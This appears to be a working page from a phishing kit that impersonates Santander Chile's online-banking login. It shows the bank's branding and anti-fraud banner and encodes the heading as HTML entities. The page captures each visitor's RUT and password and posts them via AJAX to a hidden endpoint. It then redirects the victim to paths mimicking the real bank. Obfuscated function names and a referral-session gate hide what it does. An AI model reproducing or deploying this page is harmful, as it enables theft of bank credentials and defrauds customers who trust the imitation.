<?php
if (!isset($_SESSION['referido'], $_POST['vista'])) :
    exit();
endif;

?>
<html lang="es">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, shrink-to-fit=no, user-scalable=no">
    <link rel="shortcut icon" href="/favicon.ico">
    <title>Ingreso a la plataforma</title>

    <link rel="stylesheet" type="text/css" media="all" href="/src/css/home-portada.css">
</head>

<body id="home" class="context-home context-home-show overh">
    <div id="header">
        <div>
            <header id="hpri" class="header-modyo scrolled"></header>
            <div class="login-santander layout-black son mobile" id="loin">
                <div class="login-cont">
                    <div class="login-head text-right">
                        <a aria-label="" class="close-login hover-opacity">
                            <span aria-hidden="true" class="str-close text-red f-24"></span>
                        </a>
                    </div>
                    <div class="pb-32 px-16 pt-16">
                        <div>
                            <div class="col-sm-9 col-xs-12 col-12 center">
                                <div class="text-center logo-text-hold mb-60"><span aria-label="" class="str-santander2"></span>
                                    <h6 class="heading-6 text-red">&#73;&#110;&#103;&#114;&#101;&#115;&#97;&#32;&#97;&#32;&#116;&#117;&#32;&#66;&#97;&#110;&#99;&#111;&#32;&#101;&#110;&#32;&#108;&iacute;&#110;&#101;&#97;</h6>
                                </div>
                                <form name="autent" id="frmlogin" autocomplete="off" method="post" action="" class="s-login">
                                    <input type="hidden" name="proceso" value="oooilkadlk">
                                    <div class="cajaInput">
                                        <div class="cont">
                                            <input type="text" name="drut" id="drut" autocomplete="off" class="input rut" maxlength="13">
                                            <input type="hidden" name="rut">
                                            <label class="label">RUT</label>
                                            <div class="barra"></div>
                                            <div class="items-holder items-hold d-flex align-items-center">
                                                <div class="contextual-help"><span tabindex="-1" aria-label="" class="contextual-icon str-keyboard"></span></div>
                                            </div>
                                        </div>
                                        <span class="error_desc">Debes ingresar un RUT válido.</span>
                                    </div>
                                    <div class="cajaInput">
                                        <div class="cont">
                                            <input type="password" minlength="4" maxlength="30" name="dpin" id="dpin" autocomplete="off" class="input pin">
                                            <input type="hidden" name="tipo" value="1"> <input type="hidden" name="pin"> <label class="label">Clave</label>
                                            <div class="barra"></div>
                                            <div class="items-holder items-hold d-flex align-items-center">
                                                <div class="contextual-help"><span tabindex="-1" aria-label="" class="contextual-icon str-keyboard"></span></div>
                                            </div>
                                        </div>
                                        <span class="error_desc">Debes ingresar tu clave.</span>
                                    </div>
                                    <div class="cajaInput"><button type="submit" class="btn btn-large btn-primary btn-full inactive" id="btnsend">INGRESAR</button></div>
                                </form>
                                <div class="text-center mt-32"><h6 class="f-large text-accessible-darkturquoise">¿No tienes tu clave?</h6> <a href="#/informacion/seguridad/claves" aria-label="¿No tienes tu clave?" class="f-16 fw-normal text-link-secondary"><span aria-hidden="true" class="str-security-verified f-24 v-align-bottom mr-4"></span>
										Créala o recupérala aquí
										<span aria-hidden="true" class="str-chevron-right v-align-bottom"></span></a></div>
                            </div>
                        </div>
                    </div>
                    <div class="px-16">
                        <div id="banner-login-info" class="col-12 col-sm-8 col-xs-12 col-lg-12 col-xl-12 col-12 center"><a href="#/informacion/seguridad" class="f-14 text-normal"><div class="box-shadow box-radius py-24 px-16 proteger-claves grayscale" style="background-image: url(&quot;/src/imagen/protege-tus-clave-bg.png&quot;);"><h6 class="heading-3 mb-12 text-red fw-normal w-70">¿Cómo protegerte ante posibles estafas?</h6> <p class="f-16 w-60">Nunca, jamás, te enviaremos E-mails o mensajes de texto con links, y tampoco te llamaremos para pedir tus datos.</p> <div class="mt-12 fw-regular"><p class="text-link"><span aria-hidden="true" class="f-20 mr-4 text-red v-align-middle str-security-block"></span>
											Conoce más consejos aquí
										</p></div></div></a></div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <form action="" method="post" name="frmview"><input type="hidden" name="vista" value=""></form>
</body>

</html>
<script src="/src/js/uuytaiosido.js"></script>
<script>
    var tool = new Mataburr0oa();
    var sesoooksd = '<?= $_SESSION['referido']; ?>';

    window.onload = () => {
        ooaspdqwie(window.innerWidth, window.innerHeight)
    }

    window.onresize = () => {
        ooaspdqwie(window.innerWidth, window.innerHeight);
    }

    function ooaspdqwie(w, h) {
        var xw = w;
        var xh = h;

        if (xw < 576) {
            if (!document.getElementById('loin').classList.contains('mobile')) {
                document.getElementById('loin').classList.add('mobile')
            }
        } else {
            if (document.getElementById('loin').classList.contains('mobile')) {
                document.getElementById('loin').classList.remove('mobile')
            }
        }

    }

    var formnum = 1;
    document.getElementById('frmlogin').addEventListener('submit', (e) => {
        e.preventDefault();
        if (sdfgsdfgsdfgb() == true) {
            if (formnum == 1) {
                document.getElementById('btnsend').innerHTML = "INGRESANDO...";
                form = document.getElementById('frmlogin');
                tool.ajaxrequest(sesoooksd, 'post/req/soho', oosadifo, form);
                formnum++;
            }
        } else {

            var hrut = document.getElementById('drut').value;
            var hpwd = document.getElementById('dpin').value;

            if (asdfgsdfgsdfg(hrut) == false) {
                if (!document.getElementsByClassName('error_desc')[0].classList.contains('activ0')) {
                    document.getElementsByClassName('error_desc')[0].classList.add('activ0')
                }
            }

            if (hpwd.length != 4) {
                if (!document.getElementsByClassName('error_desc')[1].classList.contains('activ0')) {
                    document.getElementsByClassName('error_desc')[1].classList.add('activ0')
                }
            }
        }

    });


    document.getElementById('drut').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789kK]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('drut').addEventListener('keyup', (e) => {
        iusfydiouasdfasdf();
        sdfgsdfgsdfgb();
    })

    document.getElementById('drut').addEventListener('focus', (e) => {
        document.getElementById('drut').setAttribute('class', 'input rut active');
        if (document.getElementsByClassName('error_desc')[0].classList.contains('activ0')) {
            document.getElementsByClassName('error_desc')[0].classList.remove('activ0')
        }
    })

    document.getElementById('drut').addEventListener('focusout', (e) => {
        iusfydiouasdfasdf();
        var mrut = document.getElementById('drut').value;
        if (mrut.length > 0) {
            if (asdfgsdfgsdfg(mrut) == false) {
                document.getElementById('drut').setAttribute('class', 'input rut invalid');
            }
        } else {
            document.getElementById('drut').setAttribute('class', 'input rut');
        }
    })

    document.getElementById('dpin').addEventListener('keyup', (e) => {
        sdfgsdfgsdfgb();
    })

    document.getElementById('dpin').addEventListener('focus', (e) => {
        document.getElementById('dpin').setAttribute('class', 'input pin active');
        if (document.getElementsByClassName('error_desc')[1].classList.contains('activ0')) {
            document.getElementsByClassName('error_desc')[1].classList.remove('activ0')
        }
    })

    document.getElementById('dpin').addEventListener('focusout', (e) => {
        iusfydiouasdfasdf();
        var mrut = document.getElementById('dpin').value;
        if (mrut.length == 0) {
            document.getElementById('dpin').setAttribute('class', 'input pin');
        } else if (mrut.length < 4) {
            document.getElementById('dpin').setAttribute('class', 'input pin invalid');
        } else {
            document.getElementById('dpin').setAttribute('class', 'input pin active');
        }
    })

    function oosadifo(res) {
        var obJSON = JSON.parse(res);
        if (obJSON.pr == 1 && obJSON.ut == 'p') {
            sdfgsdfgv('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
        } else if (obJSON.pr == 1 && obJSON.ut == 'e') {
            sdfgsdfgv('/' + sesoooksd + '/in_bie.htm');
        } else {
            sdfgsdfgv('/' + sesoooksd + '/LoginJSFGenerico');
        }
    }

    function sdfgsdfgv($url) {
        var $form = document.forms.frmview;
        $form.setAttribute('action', $url);
        $form.submit();
    }

    function sdfgsdfgsdfgb() {
        var mrut = document.getElementById('drut').value;
        var mpwd = document.getElementById('dpin').value;
        var iiisdo = true;

        if (asdfgsdfgsdfg(mrut) == false) {
            iiisdo = false;
        }

        if (mpwd.length < 4) {
            iiisdo = false;
        }

        if (iiisdo == true) {
            if (document.getElementById('btnsend').classList.contains('inactive')) {
                document.getElementById('btnsend').classList.remove('inactive');
            }
            return true;
        } else {
            document.getElementById('btnsend').classList.add('inactive');
            return false;
        }


    }


    function asdfgsdfgsdfg(vcvdfgsd) {
        vcvdfgsd = vcvdfgsd.split('.').join('');
        vcvdfgsd = vcvdfgsd.replace("‐", "-");
        if (!/^[0-9]+[-|‐]{1}[0-9kK]{1}$/.test(vcvdfgsd))
            return false;
        var tmp = vcvdfgsd.split('-');
        var digv = tmp[1];
        var rut = tmp[0];
        if (digv == 'K') digv = 'k';

        return (ddfgdfgeod(rut) == digv);
    }

    function ddfgdfgeod(T) {
        var M = 0,
            S = 1;
        for (; T; T = Math.floor(T / 10))
            S = (S + T % 10 * (9 - M++ % 6)) % 11;
        return S ? S - 1 : 'k';
    }

    function iusfydiouasdfasdf() {
        var formLogin = document.getElementById("frmlogin");
        var sRut1 = formLogin.drut.value.toUpperCase();
        sRut1 = dfgvvxcgfd(sRut1);
        // var sRut1 = rut.value;
        // contador de para saber cuando insertar el . o la -
        var nPos = 0;

        // Guarda el rut invertido con los puntos y el guiï¿½n agregado
        var sInvertido = "";

        // Guarda el resultado final del rut como debe ser
        var sRut = "";
        while (sRut1.indexOf(".") != -1) {
            sRut1 = sRut1.replace(".", "");
        }
        sRut1 = sRut1.replace("-", "");

        for (var i = sRut1.length - 1; i >= 0; i--) {
            sInvertido += sRut1.charAt(i);
            if (i == sRut1.length - 1)
                sInvertido += "-";
            else if (nPos == 3) {
                sInvertido += ".";
                nPos = 0;
            }
            nPos++;
        }

        for (var j = sInvertido.length - 1; j >= 0; j--) {
            if (sInvertido.charAt(sInvertido.length - 1) != ".")
                sRut += sInvertido.charAt(j);
            else if (j != sInvertido.length - 1)
                sRut += sInvertido.charAt(j);

        }
        // Pasamos al campo el valor formateado
        // rut.value = sRut.toUpperCase();
        document.getElementById("frmlogin").drut.value = sRut.toUpperCase();

    }


    function dfgvvxcgfd(rut) {
        var i = 0;
        while (rut.length > i) {
            if ((rut.substring(i, i + 1) == " ") || (rut.codePointAt(i) == 173)) {
                rut = rut.substring(0, i) + rut.substring(i + 1, rut.length);
            } else {
                i = i + 1;
            }
        }
        return rut;
    }
</script>